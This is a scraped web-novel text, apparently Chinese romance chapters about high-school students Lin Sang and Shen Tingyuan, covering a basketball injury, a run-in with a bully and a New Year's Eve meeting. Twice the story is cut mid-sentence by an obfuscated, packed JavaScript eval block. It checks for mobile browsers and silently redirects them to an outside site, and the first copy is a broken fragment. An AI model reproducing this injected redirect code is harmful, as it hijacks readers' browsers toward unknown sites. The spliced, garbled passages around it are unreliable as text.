全场气氛凝滞了一瞬,260班的人从震惊中脱离出来,开始尽情欢呼。 隔壁有人不屑地“嘁”了一声:“有什么好高兴的,不就是运气好。” 负责领队的男生一听,朝着那边摇头晃脑,拿起喇叭放在嘴边大声道:“哎呦喂,至少我们赢得光明磊落!” 此刻喜悦大过一切,班上的人都起身往球场边走,男生说完后那边的人回呛了几句,赶着去庆祝,他也懒得计较,收了东西往球场跑。 林桑跟着人流往球场边走,沈听原拍完合照后就退了出来,迈着步伐朝她走来。 他长了一双开扇形双眼皮,笑起来时褶皱很深,眼神里续满了柔情。 走近后,他在林桑身前站定,微微俯下身,眉梢轻扬:“最后那一球,怎么样?” 林桑故意犹豫了一会儿才说:“还行吧。” 沈听原无奈一笑:“好吧,那我再练练,争取以后从你这得到的评价是挺帅的。” 林桑把水递给他,笑道:“逗你的啦,很帅,超级无敌帅!” 话罢,想到他脚上的伤,林桑垂下眼,看着他的脚踝。 他皮肤白,红肿十分明显,有些地方已经隐隐发紫。 林桑眉心一跳,一言不发拉着他到一旁坐下。 她蹲下身想去看,沈听原像是反应过来了,猛地将脚往后一缩。 “没事,喷过药了,不严重。” 他套了黑色的小腿束套,因为方才的动作,束套往上缩了一点。 林桑清晰地看到,束套边缘处有一片破皮的擦伤。 几乎是下意识的,她伸出手,将束套扯了上去。 眼前的画面令她鼻头一酸,她看着沈听原整个小腿肚上的大面积擦伤,喉头哽住,发不出任何声音。 林桑沉默地看着那一大片血淋淋的伤口,半晌才开口:“沈听原,我是傻子吗?” 她嗓音里带着颤意,沈听原止住喝水的动作,手忙脚乱将水瓶放到一旁,抬起手,顿了两秒,在衣服上擦了擦。 快要触碰到她时,林桑躲开了。 “你别碰我。” 四周的空气静滞住,他们都沉默着,林桑知道他在看她,她不抬头,盯着伤看了一会儿,起身道:“我去买药,你在这乖乖等我。” 她刚走过去没两步,那个负责领头的男生走了过来,递给她一个塑料袋,朝沈听原所在的方向努努嘴道:“他就交给你了啊,辛苦。” 林桑伸手接过:“谢谢。” 男生摆摆手道:“不用,应该的。” 男生走后,林桑拎着塑料袋回到沈听原身边,重新蹲下。 她低着头,打开袋子,里面有一盒喷雾,还有一瓶消毒水和棉签药膏什么的。 她先拆开喷雾晃了晃喷在他脚踝上,随后打开消毒水拆了棉签小心翼翼地帮他消毒。 因为球场是室外的,场地上有不少灰尘和细沙,这些东西和血液混在一块,一起凝固在伤口上。 林桑手下微微用了些力想将脏东西都清理下来,沈听原仰头靠着,倒吸了一口凉气。 他轻叹了一声,嗓音低哑:“金金,轻点好吗?” 林桑手下一顿,抬眼,怕他误会,解释道:“我只是想把那些脏东西清下来,不是故意使劲……” “我知道。”沈听原说,“我们金金这么好,哪舍得让我痛。” “看我受伤,心疼得都快哭了。” 林桑沉默一瞬:“沈听原你烦死了,你自己擦吧,我回去背书了。” “别啊。”沈听原坐直了些,嘴角勾着,“我现在弱小可怜又无助的,你真忍心啊?” 林桑:“我看你挺能说的,肯定是不痛了。” 沈听原笑着,抬手在嘴边做了个拉拉链的动作。 林桑重新帮他消毒擦药,擦完了,她把东西放好递给他:“我回去背书了,药你记得按时擦。” 沈听原接过,随手放到一边,懒懒地靠着,神情散漫地应了一声。 看上去,心情很不好的样子。 受这么严重的伤还非得逞强,她都还没说什么呢,他倒是耍起脾气来了。 林桑嘴唇动了动,什么也没说,缓慢转身准备离开。 她转过身的瞬间,指尖被人握住,传来一片温热。 她回头,沈听原抓着她的指尖,因为他是坐着的,此刻林桑比他高了一截。 他仰着头,晃了晃她的手,语气轻柔,像是在撒娇:“哄哄我呗。” 林桑:“……” 她往周围看了看,没老师在场。 “你先松手。” 沈听原像个不讲道理的小孩:“不哄不松。” 林桑没说话,往前走了几步,抬起空闲的那只手,一把将他揽了过来。 沈听原明显僵了一瞬,林桑偷偷笑了一下,五指陷入他发间,一下一下地揉着。 “沈听原,你痛不痛啊。” 他的声音闷闷的,带了些许委屈,从下方传来:“痛啊,痛死了。” 林桑一顿:“那我带你去医院看看吧。” “不用。” 沈听原抓着她指尖的那只手没松,另一只手缓缓抬起,揪着她腰侧的衣服,缓缓补上后半句: “再抱会儿就好了。” “……” 高三的小自习改成了自由背书,不用像以前一样必须待在教室。 老师只偶尔会去教室和教学楼前的空地巡逻,球场有挺多拿着书的,看似是在背书,实则一直盯着场上的球赛。 见一直没老师过来管,两人也就在原位坐着。 林桑拿着政治必修四背,沈听原没带书,拿着她的小甘随身记背古诗。 铃声响起时,沈听原从她手中抽过笔,打开第一页,看着林桑随意写在首页的“林”字说:“丢了怎么办,重新给你写一个。” 沈听原写字下笔很重,且习惯性连笔,三两下就在上面写了个大大的“林桑”。 他写完后,把书递给林桑,林桑伸手接过,书只有口袋大小,她直接塞进了校服外套口袋里。 她一手捧着政治课本,一手去拉他。 “走吧,我送你回教室。” 沈听原看着她的掌心,低着头,肩膀颤了颤。 过了几秒,他才抬眼,吊儿郎当道:“能有这待遇,这点伤受得还挺值。” 林桑脸色一变:“你再说胡话,我就不送了。” 沈听原立马收敛,“行,不说。” “……” 林桑发现她拉着沈听原的胳膊起不上什么作用,索性抬起他的手,让他把手搭到她肩上。 她做完这一套动作后,身侧传来一道男声。 “呦,刚不是挺狂的,我以为多有能耐呢。” “原来是个要靠女生的废物啊。” 话音落下时,引发出一阵笑声。 沈听原微微俯下身,低声在她耳侧说:“不用理。” 两人完全忽视他们继续往前走,男生被忽略,明显不爽,几步跟上,语气里带了嘲讽,说的话也越来越不入耳。 林桑脚步停住,偏头看他,眼神带了凉意,语气平静:“惯用下三滥手段的人就应该像下水道的老鼠一样,一辈子躲在暗无天日的阴沟里,只在无人的时候才敢出来,而不是像现在这样——” 她顿了顿,视线在那几个男生脸上扫了一遍,“大摇大摆出来晃荡,令人作呕。” 为首的那个男生就是在球场上一直拦着沈听原的那个,林桑多半能猜到,沈听原身上的伤也是拜他所赐。 她说完,目光定在那个男生身上:“尤其是你。” 男生骂了句脏话,作势要上前。 沈听原眉心一拧,抬头斜睨了他一眼,挡在林桑身前,语气冰凉:“怎么说?” 男生舔舔唇,嗤了一声,抬手指着他们,不屑道:“行,别得意,老子有的是时间弄你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“金匹诺曹也行。” “又或者,”他顿了顿,一副在询问她意见的模样,“匹诺曹金?” 林桑:“……” 难怪那天他没什么反应,敢情在这等着她呢。 他这股醋劲要是没压下去,这话题估计一辈子也揭不过。 林桑认命地道:“喜欢喜欢,行了吧。” 沈听原弯唇,“喜欢谁的?” 林桑:“……你的。” 沈听原:“只喜欢谁的?” 林桑:“……你的。” 他又道:“有多喜欢?” 林桑幽怨地看了他一眼,一字一顿道:“喜欢死啦。” 沈听原“噗嗤”一声笑了出来,眉尾轻抬,“那领导打算什么时候视察?” 林桑镇定道:“同志,矜持一点,等想视察了,领导自然会通知你。” 沈听原还挺受用,应了一声之后就没再继续往下扯,只是解了她的发圈不知道在她头上倒腾什么。 林桑有些莫名地看着他,“沈听原,你在干嘛?” 沈听原满意地看着自己的杰作—— 用两缕头发拼出来的爱心。 “在看你喜欢我喜欢到头顶冒爱心。” 林桑无奈地笑了笑,随他继续折腾,沈听原玩够了,也抬手用自己的头发给她比了个心,“礼尚往来。” 林桑差点笑喷,“沈听原,你现在像个小屁孩。” “顶多两岁,不能再多了。” 沈听原倒也无所谓,“两岁就两岁呗,那你一岁。” “我都能跟人打架了,你还像个小傻瓜爬地上流口水呢。” 林桑一秒炸毛,“沈听原!你烦死了!” 沈听原看着眼前炸毛的小猫,满眼笑意,“刚刚还说超级无敌喜欢我,全世界只喜欢我,喜欢到爆炸,喜欢死我了呢。” 这人,怎么还添油加醋呢。 林桑盯着他的手腕,伸手道:“发圈还我,我回去了。” “不送我啦?”沈听原将戴着发圈的手藏到身后说。 “不送。”林桑板着脸说。 “着急回去干嘛啊?家里那位催了吗?” 这都什么跟什么。 林桑闭了闭眼,“反正你都会跟人打架了,哪用人送。” “我赶着回去当傻子,爬地上流口水的傻子。” 沈听原低垂着头,笑到肩膀一颤一颤的,笑够了,他自顾自地抬手搭在林桑肩上,“真记仇啊你,但怎么办,送佛还送到西呢,你可不能半路把我这个小弱病惨抛弃啊。” 他们待在一起的时候,总喜欢扯东扯西,说些不着调又没营养的话。 幸福感却满溢。 林桑笑了笑,抬手扶着他道:“走吧,大佛,一会儿该上课了。” 沈听原倾下身,屈指在她额头上轻轻敲了一下道:“听领导的。” “……” 林桑送完沈听原回教室后,适珈蓝拉着她小声问:“你们跟季颂仰起冲突了?” 林桑不认识这个人,有些疑惑:“季颂仰?” 下一秒,一张脸浮现在眼前,她又道:“那个很魁梧的胖子?” 适珈蓝点点头,“你们过段时间小心点。” 林桑:“为什么?” 适珈蓝撇撇嘴道:“这人以前跟我同校,他那个时候为了当学校的老大,欺负了不少人来彰显自己的威严,手段特别脏。” “你是不知道。”她舔了舔有些干的唇说,“高一进来的时候他又想像以前那样争个老大,千方百计去巴结那些高年级的,估计是打算等高三的一走马上就上位。” “后面跟沈听原和你哥只是在楼梯间不小心擦到肩,他就故意找茬,放了狠话约架才发现,他找的靠山和沈听原跟你哥是熟人。” 林桑拧开水杯喝了一口水:“然后呢?” 适珈蓝:“然后,他们不是都看不惯他用那些不入流的手段嘛,但是一直都是井水不犯河水的,也没理由收拾他。 “那次逮到机会了,自然是把人好好教育了一番。” “他这人虽然特别狂,成天像个□□,但骨子里是个欺软怕硬的,那次之后就一直像个缩头乌龟。” “收敛了这么长时间,现在又出来兴风作浪。” “有人说啊……” 林桑:“什么?” 适珈蓝伏在她耳边小声道:“说他在外面找了个混社会的大哥。” “所以啊,小心点。” 沈听原当时就提醒过她不用理,是她非得出头,如果对方去找沈听原的话怎么办,他脚上还有伤。 “林桑,你听到没啊?” 林桑盯着手里的水杯,心不在焉道:“知道了,谢谢你告诉我这些。” “有什么好谢的。”适珈蓝说,“反正你们多留个心眼就是了。” * 高三的在周六这天也要上课,周天才能休息。 林桑和沈听原周六晚回去的时候没遇上什么可疑的人,偶尔几次在学校遇见季颂仰,他也没找他们麻烦。 平静了几个星期后,林桑紧绷着的神经才算放了下来。 这天周天上午,林桑和沈听原一起坐在副食店里做题。 林桑坐的位置靠里,有一半是视线盲区,有人一直在附近晃荡她也没发现。 沈听原从人刚出现的时候就察觉到了,不过做题要紧,他无心去处理。 结果做完题了,那几个人还是在原地,叼着烟视线赤裸直白地和他撞上。 见他发现了,还挑衅地朝他勾勾手。 沈听原垂眼看了眼林桑说:“我去买两杯奶茶。” 林桑在书包里翻着卷子,应了一声。 沈听原单手插着兜走到那几个蹲在路边的男生身边,回头确保林桑没发现后,低睨一眼,淡声道:“带路。” 几分钟后,带头的几个男生在一个巷道口停住,示意他自己往里。 巷道里光线很弱,里面站了几个人,沈听原脚步不停,径直走了进去。 季颂仰嘴里叼着烟,双手插在兜里,站在巷道中央,像是一堵厚实的墙。 见沈听原只有一个人,他仰着下巴道:“给你一分钟叫人,省得说我们欺负人。” 沈听原一张脸掩在黑色鸭舌帽下,微抬下巴:“球赛结束的时候就想着找个机会自然会找你算账,没想到你自己先送上门来了。” 季颂仰皱眉催促道:“别废话,让你叫人。” 沈听原冷声轻哧:“就你们几个,还不配我大费周章。” 季颂仰哼了一声,偏头往身后喊:“大哥,直接动手?” “……” 林桑坐在副食店里重新做起了一份卷子,做了一会儿,总觉得不对。 沈听原去买奶茶,不是应该一直往前走的吗,怎么还往旁边拐了。 也是这时仔细复盘她才后知后觉,沈听原好像一直会抬眼往同一个方向看。 林桑心底一惊,顾不上其他的,丢了笔锁上门就往沈听原离开时的方向跑。 如果真是那些人找上门,他们一定会选择偏僻无人的小巷道。 不知道他们会选哪一条,林桑只能像个无头苍蝇一样,在一个个巷道寻找他的身影。 22.第 22 章 季颂仰侧了身沈听原才发现他身后是有人的。 那人斜倚在墙上,低头点着烟,闻言顿了顿,却没开口,继续点着烟。 烟点燃后,他吸了一口,缓缓吐出。 白色的烟雾瞬间弥漫了他的脸。 那人个很高,留着一头脏辫,穿着无袖黑背心,透过昏暗的光线,沈听原能勉强看清他健壮的手臂上的日式老传统纹身。 沈听原眯了眯眼:“勋哥?” 那人总算有了动静,扒开季颂仰走了过来:“怎么,有段时间没见,认不出我了?” 沈听原轻笑一声:“这不是被挡了,没看清。” 李勋挑了下眉:“你哥什么时候回来?” 沈听原:“难说。” “哎,见他一面比见玉帝老儿还难。”李勋抬起手伸了个懒腰说。 一旁被忽视的季颂仰这时才觉出不对,“勋哥,什么情况,说好帮我的。” 李勋不耐地啧了一声,偏过头睨了他一眼:“今天这事,他说算了才能算。” “老子现在跟他打人情牌就是帮你呢!” 季颂仰还想说什么,被李勋一个眼神挡了回去。 见他安分了,李勋干笑了两声说:“今天这事,怎么说,要不算了?” “这年轻人吧,就是好高骛远,毛都没长齐就想到处立威风,改天我好好管教管教。” 沈听原挑了下眉:“你当年不也这样?” 李勋顿了一瞬,在他肩上锤了一下说:“妈的,别提了,现在还能想起你哥当年揍我揍多狠。” “怎么说,给个准话?” 沈听原瞥了眼季颂仰,淡淡道:“你让他给我做个保证,这事就算了。” 李勋:“什么?” 沈听原:“离万顺副食店远点,还有……” “从这出去后,安分点。” 李勋点头,“这还不简单。” 他说着,转身喊了一声:“那谁,过来打个保证,这事就算了。” 季颂仰没动,怒目看着沈听原。 沈听原眼皮轻撩,分了半分眼神给他:“怎么,非得打一架?” 季颂仰捏着拳头杵在原地,面上的不服气一览无余,李勋看得太阳穴突突直跳。 这架要是打了,他们会不会出事他不知道。 但他一定会。 李勋烦躁地抬脚在季颂仰小腿肚上踹了一脚,“你他妈哑巴了?” 季颂仰就算内心再有不满,也意识到目前这个形式,他若一直头铁下去讨不到任何好处。 他顿了顿,一副能屈能伸的样子,态度也从不满到讨好,规规矩矩地和沈听原做了保证。 保证做完,这事也算过去了。 季颂仰退到李勋身后,隐入黑暗中后,一秒变了脸。 沈听原随意瞥了一眼,没什么情绪地道:“建议你,下次找靠山前,先了解了解我的关系网。” 李勋“哎”了一声,摆摆手道:“都过去了,大家以后和平相处,说这些做什么。” 他打了个呵欠,转移话题道:“打台球正在兴头上呢,为了这么个破事,兴致全没了。” 沈听原眉尾一扬:“我陪你打会儿?” 李勋刚想应好就在巷道口瞥到一道清瘦的身影,他轻扯了下嘴角,从包里摸出烟递给沈听原。 沈听原接过,抖了一根出来,衔在嘴里,李勋滑动着打火机上的滚轮,帮他将烟点燃。 点完烟后,沈听原靠在墙上,低着头,半张脸都淹没在帽檐下,白皙纤长的手指夹着烟,火星在他指尖里忽明忽暗。 仰头吐烟圈时,帽檐下露出一截利落的下颌线,微微凸起的喉结轻滚着,哪还有在她身边时的清秀学生样,活脱脱一个混不吝的不良少年。 还是刚揍完人太空虚,拿烟解闷的那种。 见他也没什么事,林桑犹豫着要不就当做没来过,什么也没看到过。 她脚步刚要挪动,里头传来动静。 李勋从沈听原手里接过烟盒后说:“下次有机会再陪,你现在啊……” 他顿了顿,下巴朝巷道口一扬,脸上带着不明的笑:“先想想该怎么跟那姑娘解释。” 沈听原随意瞥了一眼,在看到林桑时,愣了一瞬,慌忙掐了烟。 巷道有两个出口,李勋已经转身走了。 沈听原暗骂了一声,沉声道:“李勋,别让我逮到你。” 李勋双手插兜,吊儿郎当往前走着,闻言笑道:“自身都难保,还威胁我呢。” “……” 林桑在和沈听原视线撞上的时候就拔腿跑了,但沈听原个高腿长,没一会儿就追上了她。 胳膊被她握住,林桑停下脚步。 沈听原喉结滚了又滚,像是想要说点什么解释解释,却又想不到合适的措辞。 默了半晌他才低声开口,带着些许祈求:“你……别怕我。” “我平时不这样。” “你知道的。” 林桑:“……” 林桑莫名觉得好笑:“我怕什么,你是个什么样的人,我一直都知道啊。” 沈听原紧绷的脸色总算缓和几分:“说起来,一直没问过,我在你那,是个什么样的人?” 林桑:“表里不一。” 沈听原:“……不能换个词吗?” 林桑:“两模两样?” 沈听原笑了一声,从胸腔里发出来的,闷闷的,带了些无奈。 “我以前是不是做了什么事,才让你这么觉得。” 林桑一想,大概是他们初遇的那场考试后一个多月。 周五放学的时候,男生都成全结对地往同一个方向走,旁边有人说好像是和其他学校的约了架,看这阵仗,恐怕会闹出事来。 林桑不太懂,这个年纪的男生为什么那么热衷于约各种架,甚至打起来的时候,跟不要命似的。 她尽量避开那些男生,低头沿着路边走。 走过了那群男生去的路口后,不知为何,她鬼使神差地转头往那个方向看了一眼。 只一眼,她就在人群中看到了沈听原的身影。 他插着兜跟在队伍中,没穿校服,书包随意挎在肩上,身侧有人打开书包拎出半截钢管递给他,他睨了一眼,漫不经心地举起拳头晃了晃。 林桑那时还没完全察觉到对他的感情。 这一幕,加上那贴了满屏的处分,她只觉得他离经叛道,不是那种安分的人。 许是受了林景不让她接触这类人的影响,林桑会下意识地将和自己完全相反的类型撇出交际范围。 因此,她觉得。 他们永远不会是一条道上的人。 后来对他的了解越来越多,发现他不知道是过了叛逆期还是怎么,比起以往收敛了不少。 再到现在,在她面前,更是收敛得不行。 林桑说完,笑了一下:“沈听原,你装的时候累不累啊。” 沈听原下意识抬手挠了挠后脑勺,撇开脸,小声反驳:“我才没装。” “行行行,你没装。”林桑配合他。 她说完,沈听原忽然俯下身靠近。 林桑顿住,下意识吞了吞口水:“你干嘛突然靠这么近……” 沈听原勾着唇,那双如墨色一般的眸子盯着她,嗓音很轻:“你刚刚是想保护我吗?” 林桑往后退了退:“我就是听说他有人脉,想着你要是打不过,我就去搬个救兵,毕竟……” 她舔舔唇,小声道:“祸是我闯的。” “什么叫祸是你闯的。”沈听原捏着她的脸颊说,“没这回事,知道了吗?” 脸被他捏得几乎挤在一块,林桑含糊不清道:“知道了。” “……” 两人一起往副食店走,准备开门时,林桑掏钥匙的时候带了个东西出来,落在地上,发出清脆的响声。 沈听原弯下腰拾起,“你宝贝掉了。” 林桑茫然:“什么?” 沈听原摊开掌心,林桑的饭卡躺在他掌中,乍一看好像也没什么,细看林桑才反应过来,她挂在上面的小黄人玩偶没了。 这个玩偶跟了她很多年,她定期给它洗澡,定期带它晒太阳,当宝贝宠着的东西,就这么没了。 没了…… 她是个东西用的时间长了就会有情感的人,哪怕旧了坏了也不会舍弃。 这对她来说,犹如晴天霹雳。 林桑绝望地转头看向来时路,她跑了那么多地方,就算现在原路返回去找,也不可能找回来了。 旁边有人看她准备开门,等着买东西。 她抿抿唇,把钥匙递给沈听原:“你帮我开下门,我去隔壁精品店一趟。” 一中的饭卡不是卡片,而是椭圆形的,跟硬币差不多,小小一个,很容易丢。 就是怕哪天丢了没发现,她才往上面挂了玩偶,现在一想,当时也是欠考虑,玩偶落在地上的声音还没饭卡落地大呢。 不过好在丢的不是饭卡,不然还得花钱去补办。 林桑在精品店里逛了一圈,被一串大小不一的胡萝卜吸引了注意力。 她伸手捏了捏,萝卜是实心的,很硬,互相碰在一起的时候有声音,上面还有一个小铃铛,掉了她肯定能第一时间发现。 林桑没犹豫,拿起那串胡萝卜钥匙扣去结了账。 她回副食店的时候,沈听原正好给人结完账坐下。 “买什么了?” “这个。”林桑说着,把手里的钥匙扣展示给他看,“掉了我肯定能发现。” 沈听原捞起桌上的饭卡递给她,林桑接过,开始把东西往饭卡上面套。 饭卡还是有些厚度的,钥匙扣上面的铁圈又很紧,不好开口,最后还是沈听原帮她套上的。 套好后,林桑觉得上面的铃铛随便动一下就要响一会儿,她嫌吵,把铃铛拆了下来。 准备扔的时候,沈听原突然出声:“怎么拆了?” 林桑:“有点吵,万一上课的时候碰到响了怕影响到别人。” 沈听原抬手将那枚小铃铛捻在指尖:“那给我吧,正好我那饭卡孤零零的。” 他从包里翻出饭卡,突然发现他的饭卡上面连个铁圈都没有。 他将视线挪向林桑手中的那串胡萝卜,“你说,只挂一个铃铛会不会有点寡淡?” 林桑:“……” 她看了眼他手里的铃铛,好像确实有点。 最大的那个胡萝卜上单独套了个圈,最好拆。 林桑抬手将其拆了下来递给沈听原:“大的分你,小的这几个跟我。” 沈听原接过,意味不明地笑了一下,拖长腔调道:“放心,我会好好对老大的,你可以随时来看它。” 林桑:“……?” 她怎么觉得,这话好像有什么地方不太对劲。 * 篮球运动会的时候大发慈悲,到了冬季运动会的时候,他们高三的参加完开幕式和集体课间操后就没了项目,运动会期间依旧按时上下课。 一中起床时间是六点十分,刚开学那会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14787755|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿早起的人还很少,如今已经十二月,早起的人越来越多,有时候五点半就能听到背书声传来。 为了提神,什么方法都试了,咖啡对林桑来说已经没什么用,她特意从外公那拿了一大包茶叶。 林桑往杯子里添茶叶,适珈蓝趴在桌上,听着操场边传来的呐喊声,翻来覆去睡不着。 “烦死了,让我们最后留点美好回忆怎么了,操场上这么大声,谁能学得进去。” “好不容易下课了想休息一会儿也睡不着。” 林桑盖上杯盖摇了摇说:“要不你捏个纸团塞耳朵里?” 适珈蓝捧着脸,目光呆滞地看着前方说:“算了,塞了也不一定有用。” “我就纳闷了,你平时起得比我还早,都不困的吗?” 林桑:“还好。” 适珈蓝扭头看了过来,瞥到她的杯子里茶叶已经多到快见不到水,沉默了一瞬:“你管这叫……还好?” 林桑打开喝了一口,苦味直冲天灵盖,人倒是确实清醒不少。 “你要试试吗?” 适珈蓝头摇得像拨浪鼓,嘴角抽了抽说:“不了,我上课就是在吃苦,干嘛想不开多加一份。” 下午去吃饭的时候,两人在路上遇到鲁琳。 鲁琳跟没了骨头似的夹在她们中间,“我觉得自己现在像个行尸走肉,根本不敢想到了下学期正式冲刺的时候会是什么样。” 适珈蓝说:“我也是,A班太恐怖了,怎么大家都那么努力啊,我快被逼疯了。” “你是不知道。”适珈蓝指着林桑说,“最早起床的那一批人里就有她,我经常连她什么时候起来走的都不知道。” 鲁琳惊讶:“五点十分就起,你不困?” 林桑:“还好吧。” “你别听她瞎说。”适珈蓝说,“咖啡对她没用,她每天喝茶水,那茶叶放的啊……” 她咂咂舌道:“看上去像紫菜汤。” 鲁琳听得五官都皱了皱:“我五点四十起,现在都已经对咖啡跟浓茶免疫了。” “每天喝一大杯,还没老师那句接下来找个同学回答问题提神。” 适珈蓝:“还有个提神的,就是你最困的时候,突然有人东西掉地上响起的那一声。” 林桑接话道:“还得是最厚的那本书掉的时候,不然也没什么用。” 她们说着往教学楼走,林桑头顶上突然盖了一只手下来。 她抬眼,沈听原拧眉看着她。 升了高三后,有时候老师会拖堂,两人为了不耽误对方的时间,也不再像以前那样每天互相等着一起打饭,都是偶尔碰上了才会一起。 林桑嫣然一笑:“还挺巧。” 沈听原手往下滑,在她脸颊上捏了捏:“每天晚上嘱咐我要注意身体别太拼,结果自己偷偷不注意身体是吧?” “脸上肉都少了。” 林桑:“哪有。” “再说了,我嘱咐你那是因为你会难受,我又不难受。” 沈听原点点头:“知道,那也请我们金金稍微注意点好吗?” 林桑一字一顿道:“知道啦,我有分寸的。” …… 晚上沈听原送林桑到宿舍楼下,和过去每一次一样,从兜里摸出一张纸条递给她。 林桑接过,下意识就想揣进兜里,猛然发现手感不太对。 她拿起,借着路灯的光看了一眼。 不是以前那样叠起来的纸条,而是一枚爱心。 是用五角钱折出来的。 和林桑见惯了的简单叠法的单层爱心和双层爱心不同,这个爱心中间位置还多叠了一圈,看上去像怒放的花一样。 林桑有些稀奇,翻看了一会儿说:“你怎么叠的,明天教教我。” 沈听原挑了下眉道:“我就这么个能在你面前嘚瑟的技能,你让我再得意两天,过段时间再教你。” 林桑应了一声,两人道完别后,林桑半只脚跨进寝室大门,想起什么,又折返回来。 沈听原还停留在原地,见她去而复返,笑道:“放心,一定早睡。” 林桑这才放下心来回了宿舍。 …… 沈听原到家洗完澡后,接到了爷爷打过来的电话。 自从升了高三,爷爷打电话的频率多了起来,爷爷和奶奶平时八点就睡了,现在每天都要等他十点半下自习回家打完电话才睡。 电话接通后,惯例是扯东扯西,沈听原翻开桌上的卷子,边做题边应声。 聊了一会儿,爷爷道:“我找人帮忙给你邮了点东西。” “都是些补身子的,你到时候拿了包裹,给那个小姑娘送一份过去。” “这高三了,辛苦,别都累坏了。” 沈听原笑:“放心吧,不会……” 熟悉的胸闷心慌猛地涌了上来,沈听原抬手捂住,忍不住皱了下眉。 发现他这边没了声音,爷爷在电话那头喊了一声,沈听原闭眼缓了缓:“没事,你们不用担心。” “不就一个考试嘛,不至于累坏。” 爷爷应了几声好,沉默片刻后,苍老的声音里带了些许试探:“最近……身体都还好吧。” 沈听原松开捂在胸口的手说:“都好着呢。” 爷爷在那头呢喃着“那就好”,随后也没再多聊,让他早休息就挂断了电话。 电话挂断后,沈听原起身去倒了一杯水,回来坐下看着那套才写了几道题的试卷。 那股感觉已经消散了,他想了想,重新提起笔开始做题。 23.第 23 章 在忙碌的生活里,日子总是过得很快,一眨眼,整个十二月就过去了。 元旦那天周一。 高一高二的在周五就放了假,高三的则周六上完了早上的课才放假。 榆城不像云亭一年四季只有那么几天是冷的,早早就已经降了温,沈听原爷爷前段时间染了风寒,身体一直不见好转,放假后他就去了榆城。 周一下午才收假,林桑都做好了和他隔着电话跨年的准备。 临近十一点的时候,两人在手机上聊着天,沈听原突然发了条语音过来。 语音时长五秒,林桑点开,结束了也没听到他说话的声音响起。 她把音量加大了些,听筒里传来一阵很轻的叮当声。 还是没他说话的声音。 林桑有些奇怪,正要打字询问,那边先发了一条消息过来。 【Banana:刚刚那是什么声。】 林桑又点开确认了一遍,回复道:【铃铛声。】 那头很快回复:【不是。】 林桑突然有点怀疑自己的听力,又点开听了一遍,询问道:【那是什么?】 【Banana:响铃声。】 林桑刚想说有什么区别,字打到一半,指尖顿住。 响铃声。 XLS。 她愣神的间隙,沈听原打了个电话过来。 “发现了吗?” 林桑:“XLS?” 沈听原那头有呼呼的风声,他轻轻“嗯”了一声说:“换成字试试。” 林桑抿唇,觉得有些难以启齿,他也没催,一直安静等着。 好半晌,林桑才温吞地一句一顿道:“想、林、桑?” 听着她不确定的语气,沈听原低低的笑透过电流传来:“不确定吗?” 林桑默了默,重新说了一遍,语气坚定:“想林桑。” “对。”沈听原说,“想林桑。” “不知道,她想不想我。” 林桑握着手机的手紧了几分,轻声应:“想。” 沈听原带笑的声音很快响起,干净利落的两个字:“开门。” 外公已经睡下了,林桑此时一个人盘腿坐在客厅沙发上等待零点到来。 她下意识往门外看去,客厅门是玻璃的,但拉了帘子,什么也看不到。 她愣了一会儿才猛地起身穿鞋往大门跑。 木质大门“吱呀”一声打开,林桑一抬眼,和沈听原的视线撞了个满怀。 沈听原还举着手机,因为刚从榆城回来,他身上穿了件黑色的羽绒服,头上戴了一顶同色系的针织帽,下半身依旧是熟悉的黑裤和黑白撞色球鞋。 他脸上带着笑,昏黄的路灯打在他身上,看起来整个人柔和了不少。 林桑整个人怔在原地,他的声音从对面,从电流一起漫进耳朵里。 “能当面说吗?” 林桑还没缓过神,他已经放下手机,阔步走了过来。 他俯身凑近:“傻了啊?” 林桑顿了顿,跨过门槛走出去,顺手带上门说:“我以为你明天才回来。” “爷爷好些了吗?” “放心吧,没什么事。”沈听原说,“只是胃口不太好。” 林桑点点头,静了一瞬,她道:“沈听原。” 沈听原语调上扬,懒懒的:“嗯,怎么了?” 林桑闭了闭眼,紧张到指尖陷入掌心里。 良久,她才将几次临到嘴边又被吞回的话说出口。 “你说想林桑。” “她也……” “很想你。” 沈听原眉梢轻扬:“她要是真想的话,为什么不用第一人称呢。” 林桑:“……” 她默了两秒,抬眼看着他的眼睛,认真道:“沈听原,我很想你。” 沈听原噗嗤一声笑了出来,抬手在她头顶揉了揉说:“我也是。” “我也很想你。” “……” 两人一同漫步到巷口的大槐树旁,大槐树前的空地很宽阔,沈听原不知道什么时候买的烟花,还提前在空地中间固定好了。 林桑看了眼时间,距离新的一年,还剩不到半个小时的时间。 这个点,周围没什么人,很安静,只一旁车道上偶尔有几辆车驶过。 林桑指着大槐树下的藤椅说:“时间还早,先坐一下?” 沈听原变戏法似的从身后摸出一盒仙女棒,“先玩这个解解闷?” 林桑莞尔一笑,收了手机道:“好。” 沈听原拆开包装把仙女棒递给她,林桑从中抽了两支出来,沈听原从兜里摸出打火机帮她点燃。 两簇火花一前一后缓缓燃起,林桑两手一抬,笑得热烈,“沈听原,好看吗?” 沈听原站在一旁,看着她的脸,也跟着笑:“好看。” “特别好看。” 他说完,从兜里拿出手机解锁,举起手机对准她。 “金金,抬头。” 林桑抬头,发现镜头,她往前跑了几步,凑近:“拍吧,我摆好姿势了。” 拍了几张,沈听原让她换个姿势。 一直都是他在帮她拍,手里的仙女棒正好燃尽了,林桑把剩下的细木棍扔进垃圾桶,重新跑到他身边。 她从沈听原手里接过手机,点了一下换成自拍,将镜头对着脸说:“沈听原,你靠近一点。” 沈听原靠过来,下巴抵在她头顶上,双手抬起,捏着她的脸颊。 林桑按下拍照键,画面就此定格。 她笑:”总算有张像样的合照。” 她把手机递给沈听原,“你把照片发我。” 